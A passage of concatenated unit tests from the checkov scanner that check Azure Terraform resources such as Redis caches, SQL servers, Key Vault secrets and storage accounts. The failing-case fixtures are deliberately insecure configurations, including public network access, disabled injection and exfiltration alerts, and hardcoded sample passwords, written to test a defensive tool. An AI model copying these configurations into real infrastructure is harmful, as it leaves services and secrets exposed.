import check from checkov.common.models.enums import CheckResult class TestRedisCachePublicNetworkAccessEnabled(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_redis_cache" "example" { name = "example-cache" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name capacity = 2 family = "C" sku_name = "Standard" enable_non_ssl_port = false minimum_tls_version = "1.2" public_network_access_enabled = true redis_configuration { } } """) resource_conf = hcl_res['resource'][0]['azurerm_redis_cache']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_no_param(self): hcl_res = hcl2.loads(""" resource "azurerm_redis_cache" "example" { name = "example-cache" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name capacity = 2 family = "C" sku_name = "Standard" enable_non_ssl_port = false minimum_tls_version = "1.2" redis_configuration { } } """) resource_conf = hcl_res['resource'][0]['azurerm_redis_cache']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_redis_cache" "example" { name = "example-cache" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name capacity = 2 family = "C" sku_name = "Standard" enable_non_ssl_port = false minimum_tls_version = "1.2" public_network_access_enabled = false redis_configuration { } } """) resource_conf = hcl_res['resource'][0]['azurerm_redis_cache']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_RedisCacheStandardReplicationEnabled.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.RedisCacheStandardReplicationEnabled import check class TestRedisCacheStandardReplicationEnabled(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_RedisCacheStandardReplicationEnabled") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_redis_cache.pass1', 'azurerm_redis_cache.pass2' } failing_resources = { 'azurerm_redis_cache.fail1' } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_SQLDatabaseLedgerEnabled.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.SQLDatabaseLedgerEnabled import check class SQLDatabaseLedgerEnabled(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_SQLDatabaseLedgerEnabled") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_mssql_database.pass', } failing_resources = { 'azurerm_mssql_database.fail', 'azurerm_mssql_database.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_SQLDatabaseZoneRedundant.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.SQLDatabaseZoneRedundant import check class TestSQLDatabaseZoneRedundant (unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_SQLDatabaseZoneRedundant") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_mssql_database.pass', } failing_resources = { 'azurerm_mssql_database.fail', 'azurerm_mssql_database.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_SQLServerEmailAlertsEnabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.SQLServerEmailAlertsEnabled import check from checkov.common.models.enums import CheckResult class TestSQLServerEmailAlertsEnabled(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_mssql_server_security_alert_policy" "example" { resource_group_name = azurerm_resource_group.example.name server_name = azurerm_sql_server.example.name state = "Enabled" storage_endpoint = azurerm_storage_account.example.primary_blob_endpoint storage_account_access_key = azurerm_storage_account.example.primary_access_key disabled_alerts = [ "Sql_Injection", "Data_Exfiltration" ] retention_days = 20 } """) resource_conf = hcl_res['resource'][0]['azurerm_mssql_server_security_alert_policy']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_mssql_server_security_alert_policy" "example" { resource_group_name = azurerm_resource_group.example.name server_name = azurerm_sql_server.example.name state = "Enabled" storage_endpoint = azurerm_storage_account.example.primary_blob_endpoint storage_account_access_key = azurerm_storage_account.example.primary_access_key disabled_alerts = [] email_addresses = ["example@gmail.com"] retention_days = 20 } """) resource_conf = hcl_res['resource'][0]['azurerm_mssql_server_security_alert_policy']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_SQLServerEmailAlertsToAdminsEnabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.SQLServerEmailAlertsToAdminsEnabled import check from checkov.common.models.enums import CheckResult class TestSQLServerEmailAlertsToAdminsEnabled(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_mssql_server_security_alert_policy" "example" { resource_group_name = azurerm_resource_group.example.name server_name = azurerm_sql_server.example.name state = "Enabled" storage_endpoint = azurerm_storage_account.example.primary_blob_endpoint storage_account_access_key = azurerm_storage_account.example.primary_access_key disabled_alerts = [ "Sql_Injection", "Data_Exfiltration" ] retention_days = 20 } """) resource_conf = hcl_res['resource'][0]['azurerm_mssql_server_security_alert_policy']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_mssql_server_security_alert_policy" "example" { resource_group_name = azurerm_resource_group.example.name server_name = azurerm_sql_server.example.name state = "Enabled" storage_endpoint = azurerm_storage_account.example.primary_blob_endpoint storage_account_access_key = azurerm_storage_account.example.primary_access_key disabled_alerts = [] email_addresses = ["example@gmail.com"] email_account_admins = true retention_days = 20 } """) resource_conf = hcl_res['resource'][0]['azurerm_mssql_server_security_alert_policy']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_SQLServerNoPublicAccess.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.SQLServerNoPublicAccess import check class TestSQLServerNoPublicAccess(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_SQLServerNoPublicAccess") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_mysql_firewall_rule.pass', 'azurerm_mysql_firewall_rule.pass2', 'azurerm_mysql_flexible_server_firewall_rule.pass', 'azurerm_mssql_firewall_rule.pass' } failing_resources = { 'azurerm_mysql_firewall_rule.fail', 'azurerm_mysql_flexible_server_firewall_rule.fail', 'azurerm_mssql_firewall_rule.fail' } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_SQLServerPublicAccessDisabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.SQLServerPublicAccessDisabled import check from checkov.common.models.enums import CheckResult class TestSQLServerPublicAccessDisabled(unittest.TestCase): def test_failure_1(self): hcl_res = hcl2.loads(""" resource "azurerm_mssql_server" "example" { name = "mssqlserver" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location version = "12.0" administrator_login = "missadministrator" administrator_login_password = "thisIsKat11" minimum_tls_version = "1.2" public_network_access_enabled = true azuread_administrator { login_username = "AzureAD Admin" object_id = "00000000-0000-0000-0000-000000000000" } } """) resource_conf = hcl_res['resource'][0]['azurerm_mssql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_2(self): hcl_res = hcl2.loads(""" resource "azurerm_mssql_server" "example" { name = "mssqlserver" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location version = "12.0" administrator_login = "missadministrator" administrator_login_password = "thisIsKat11" minimum_tls_version = "1.2" azuread_administrator { login_username = "AzureAD Admin" object_id = "00000000-0000-0000-0000-000000000000" } } """) resource_conf = hcl_res['resource'][0]['azurerm_mssql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_mssql_server" "example" { name = "mssqlserver" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location version = "12.0" administrator_login = "missadministrator" administrator_login_password = "thisIsKat11" minimum_tls_version = "1.2" public_network_access_enabled = false azuread_administrator { login_username = "AzureAD Admin" object_id = "00000000-0000-0000-0000-000000000000" } } """) resource_conf = hcl_res['resource'][0]['azurerm_mssql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_SQLServerThreatDetectionTypes.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.SQLServerThreatDetectionTypes import check from checkov.common.models.enums import CheckResult class TestSecurityCenterContactPhone(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_mssql_server_security_alert_policy" "example" { resource_group_name = azurerm_resource_group.example.name server_name = azurerm_sql_server.example.name state = "Enabled" storage_endpoint = azurerm_storage_account.example.primary_blob_endpoint storage_account_access_key = azurerm_storage_account.example.primary_access_key disabled_alerts = [ "Sql_Injection", "Data_Exfiltration" ] retention_days = 20 } """) resource_conf = hcl_res['resource'][0]['azurerm_mssql_server_security_alert_policy']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_mssql_server_security_alert_policy" "example" { resource_group_name = azurerm_resource_group.example.name server_name = azurerm_sql_server.example.name state = "Enabled" storage_endpoint = azurerm_storage_account.example.primary_blob_endpoint storage_account_access_key = azurerm_storage_account.example.primary_access_key disabled_alerts = [] retention_days = 20 } """) resource_conf = hcl_res['resource'][0]['azurerm_mssql_server_security_alert_policy']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_SecretContentType.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.SecretContentType import check from checkov.common.models.enums import CheckResult class TestSecretContentType(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_key_vault_secret" "example" { name = "secret-sauce" value = "szechuan" key_vault_id = azurerm_key_vault.example.id tags = { environment = "Production" } } """) resource_conf = hcl_res['resource'][0]['azurerm_key_vault_secret']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_key_vault_secret" "example" { name = "secret-sauce" value = "szechuan" key_vault_id = azurerm_key_vault.example.id content_type = "text" tags = { environment = "Production" } expiration_date = "2020-12-30T20:00:00Z" } """) resource_conf = hcl_res['resource'][0]['azurerm_key_vault_secret']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_SecretExpirationDate.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.SecretExpirationDate import check from checkov.common.models.enums import CheckResult class TestSecretExpirationDate(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_key_vault_secret" "example" { name = "secret-sauce" value = "szechuan" key_vault_id = azurerm_key_vault.example.id tags = { environment = "Production" } } """) resource_conf = hcl_res['resource'][0]['azurerm_key_vault_secret']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_key_vault_secret" "example" { name = "secret-sauce" value = "szechuan" key_vault_id = azurerm_key_vault.example.id tags = { environment = "Production" } expiration_date = "2020-12-30T20:00:00Z" } """) resource_conf = hcl_res['resource'][0]['azurerm_key_vault_secret']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_SecurityCenterContactEmails.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.SecurityCenterContactEmails import check from checkov.common.models.enums import CheckResult class TestSecurityCenterContactEmails(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_contact" "example" { phone = "+1-555-555-5555" alert_notifications = true alerts_to_admins = true } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_contact']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_contact" "example" { email = "contact@example.com" phone = "+1-555-555-5555" alert_notifications = true alerts_to_admins = true } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_contact']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_SecurityCenterContactPhone.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.SecurityCenterContactPhone import check from checkov.common.models.enums import CheckResult class TestSecurityCenterContactPhone(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_contact" "example" { email = "contact@example.com" } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_contact']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_contact" "example" { email = "contact@example.com" phone = "+1-555-555-5555" } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_contact']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_SecurityCenterEmailAlert.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.SecurityCenterContactEmailAlert import check from checkov.common.models.enums import CheckResult class TestSecurityCenterEmailAlert(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_contact" "example" { email = "contact@example.com" } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_contact']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_contact" "example" { email = "contact@example.com" phone = "+1-555-555-5555" alert_notifications = true alerts_to_admins = true } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_contact']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_SecurityCenterEmailAlertAdmins.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.SecurityCenterContactEmailAlertAdmins import check from checkov.common.models.enums import CheckResult class TestSecurityCenterEmailAlertAdmins(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_contact" "example" { email = "contact@example.com" alerts_to_admins = false } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_contact']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_contact" "example" { email = "contact@example.com" phone = "+1-555-555-5555" alert_notifications = true alerts_to_admins = true } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_contact']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_SecurityCenterStandardPricing.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.SecurityCenterStandardPricing import check from checkov.common.models.enums import CheckResult class TestSecurityCenterStandardPricing(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_subscription_pricing" "example" { tier = "Free" } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_security_center_subscription_pricing" "example" { tier = "Standard" } """) resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_SignalRSJUSLA.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.SignalRSKUSLA import check class TestSignalRSKUSLA(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_SignalRSKUSLA") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_signalr_service.pass', } failing_resources = { 'azurerm_signalr_service.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_SpringCloudAPIPortalHTTPSOnly.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.SpringCloudAPIPortalHTTPSOnly import check class TestSpringCloudAPIPortalHTTPSOnly(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_SpringCloudAPIPortalHTTPSOnly") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_spring_cloud_api_portal.pass', } failing_resources = { 'azurerm_spring_cloud_api_portal.fail', 'azurerm_spring_cloud_api_portal.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_SpringCloudAPIPortalPublicAccessIsDisabled.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.SpringCloudAPIPortalPublicAccessIsDisabled import check class TestSpringCloudAPIPortalPublicAccessIsDisabled(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_SpringCloudAPIPortalPublicAccessIsDisabled") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_spring_cloud_api_portal.pass', 'azurerm_spring_cloud_api_portal.pass2', } failing_resources = { 'azurerm_spring_cloud_api_portal.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_StorageAccountAzureServicesAccessEnabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.StorageAccountAzureServicesAccessEnabled import check from checkov.common.models.enums import CheckResult class TestStorageAccountAzureServicesAccessEnabled(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_storage_account_network_rules" "test" { resource_group_name = azurerm_resource_group.test.name storage_account_name = azurerm_storage_account.test.name default_action = "Deny" ip_rules = ["127.0.0.1"] virtual_network_subnet_ids = [azurerm_subnet.test.id] bypass = ["Metrics"] } """) resource_conf = hcl_res['resource'][0]['azurerm_storage_account_network_rules']['test'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success_1(self): hcl_res = hcl2.loads(""" resource "azurerm_storage_account" "example" { name = "example" resource_group_name = data.azurerm_resource_group.example.name location = data.azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" network_rules { default_action = "Allow" ip_rules = ["100.0.0.1"] virtual_network_subnet_ids = [azurerm_subnet.example.id] } } """) resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_2(self): hcl_res = hcl2.loads(""" resource "azurerm_storage_account" "example" { name = "example" resource_group_name = data.azurerm_resource_group.example.name location = data.azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" network_rules { default_action = "Deny" ip_rules = ["100.0.0.1"] virtual_network_subnet_ids = [azurerm_subnet.example.id] bypass = ["Metrics", "AzureServices"] } } """) resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_StorageAccountDefaultNetworkAccessDeny.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.StorageAccountDefaultNetworkAccessDeny import check from checkov.terraform.runner import Runner class TestStorageAccountDefaultNetworkAccessDeny(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_StorageAccountDefaultNetworkAccessDeny" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_storage_account.pass", "azurerm_storage_account_network_rules.pass" } failing_resources = { "azurerm_storage_account.fail", "azurerm_storage_account_network_rules.fail" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_StorageAccountDisablePublicAccess.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.StorageAccountDisablePublicAccess import check from checkov.terraform.runner import Runner class TestStorageAccountDisablePublicAccess(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_StorageAccountDisablePublicAccess" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_storage_account.pass", } failing_resources = { "azurerm_storage_account.fail", "azurerm_storage_account.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_StorageAccountLoggingQueueServiceEnabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.StorageAccountLoggingQueueServiceEnabled import check from checkov.common.models.enums import CheckResult class TestStorageAccountLoggingQueueServiceEnabled(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_storage_account" "example" { name = "example" resource_group_name = data.azurerm_resource_group.example.name location = data.azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" } """) resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_2(self): hcl_res = hcl2.loads(""" resource "azurerm_storage_account" "example" { name = "example" resource_group_name = data.azurerm_resource_group.example.name location = data.azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" queue_properties { logging { } } } """) resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_storage_account" "example" { name = "example" resource_group_name = data.azurerm_resource_group.example.name location = data.azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" queue_properties { logging { delete = true read = true write = true version = "1.0" retention_policy_days = 10 } hour_metrics { enabled = true include_apis = true version = "1.0" retention_policy_days = 10 } minute_metrics { enabled = true include_apis = true version = "1.0" retention_policy_days = 10 } } } """) resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_blobstorage(self): hcl_res = hcl2.loads(""" resource "azurerm_storage_account" "example" { name = "example" resource_group_name = data.azurerm_resource_group.example.name location = data.azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "LRS" account_kind = "BlobStorage" } """) resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_StorageAccountMinimumTlsVersion.py ================================================ import unittest import hcl2 from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.azure.StorageAccountMinimumTlsVersion import check class TestAppServiceMinTLSVersion(unittest.TestCase): def test_failure_option_not_present(self): hcl_res = hcl2.loads(""" resource "azurerm_storage_account" "example" { name = "example" resource_group_name = data.azurerm_resource_group.example.name location = data.azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" network_rules { default_action = "Allow" ip_rules = ["100.0.0.1"] virtual_network_subnet_ids = [azurerm_subnet.example.id] } } """) resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_insecure_option_present_tls10(self): hcl_res = hcl2.loads(""" resource "azurerm_storage_account" "example" { name = "example" resource_group_name = data.azurerm_resource_group.example.name location = data.azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" 